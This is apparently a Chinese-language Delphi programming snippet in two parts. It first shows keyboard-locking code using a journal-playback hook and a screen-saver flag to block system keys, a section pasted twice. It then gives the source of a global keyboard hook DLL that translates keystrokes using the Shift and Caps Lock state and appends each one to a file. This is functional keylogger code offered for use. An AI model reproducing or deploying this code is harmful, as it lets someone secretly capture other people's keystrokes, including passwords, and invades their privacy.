var KHK: HHook;
tmp: integer;
function HookProc(ICode: integer;WP:WParam;LP:LParam):LResult;
begin
Result:=CallNextHookEx(KHK,0,0,0);
end;使用下列语句开始锁定:
KHK:=SetWindowsHookex(WH_JOURNALPLAYBACK,@HookProc,HInstance,0);
使用下列语句结束锁定:
UnHookWindowsHookEx(KHK);这时候不能屏蔽Windows的系统键Ctrl-Alt-Tab,Ctrl-Esc,Alt-Tab等
你就可以使用:
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @tmp, 0);//锁起来
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, @tmp, 0);//打开吧
tmp: integer;
function HookProc(ICode: integer;WP:WParam;LP:LParam):LResult;
begin
Result:=CallNextHookEx(KHK,0,0,0);
end;使用下列语句开始锁定:
KHK:=SetWindowsHookex(WH_JOURNALPLAYBACK,@HookProc,HInstance,0);
使用下列语句结束锁定:
UnHookWindowsHookEx(KHK);这时候不能屏蔽Windows的系统键Ctrl-Alt-Tab,Ctrl-Esc,Alt-Tab等
你就可以使用:
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @tmp, 0);//锁起来
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, @tmp, 0);//打开吧
interface
uses
Windows,Messages;
var
f :file of char;
c:char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer;
function KeyboardHookHandler(iCode : Integer;
wParam : WPARAM;
lParam : LPARAM) : LRESULT; stdcall ; export;
function EnableHotKeyHook : BOOL ; export ;
function DisableHotKeyHook : BOOL; export ;
procedure HotKeyHookExit ; far ;
implementation
function KeyboardHookHandler(iCode : Integer;
WParam : WPARAM;
lParam : LPARAM) : LRESULT ;stdcall ; export;
const
_KeyPressMask = $80000000 ;
begin
Result :=0;
if iCode <0 then
begin
Result :=CallNextHookEx(hNextHookProc,iCode,
wParam,lParam);
Exit;
end;
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
begin
c:=chr(wparam-16);
end
else
begin
c:= chr(wparam+32);
end;
end
else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end
else
begin
c:=chr(wparam);
end;
end;
end
else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
begin
c:=chr(wparam-16);
end
else
begin
c:= chr(wparam);
end;
end
else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end
else
begin
c:=chr(wparam+32);
end;
end;
end;
seek(f,FileSize(f));
write(f,c); //将捕获的键码存入文件
end;
end;
function EnableHotKeyHook:BOOL;export;
begin
Result:=False;
if hNextHookProc <> 0 then exit;
hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,
KeyboardHookHandler,Hinstance,0);
Result:=hNextHookProc <>0 ;
end;
function DisableHotKeyHook:BOOL; export;
begin
if hNextHookPRoc <> 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc:=0;
Messagebeep(0);
Messagebeep(0);
end;
Result:=hNextHookPRoc=0;
end;
procedure HotKeyHookExit;
begin
if hNextHookProc <> 0 then DisableHotKeyHook;
close(f); //关闭文件并自动解除挂钩
ExitProc:=procSaveExit;
end;
end. 用DLL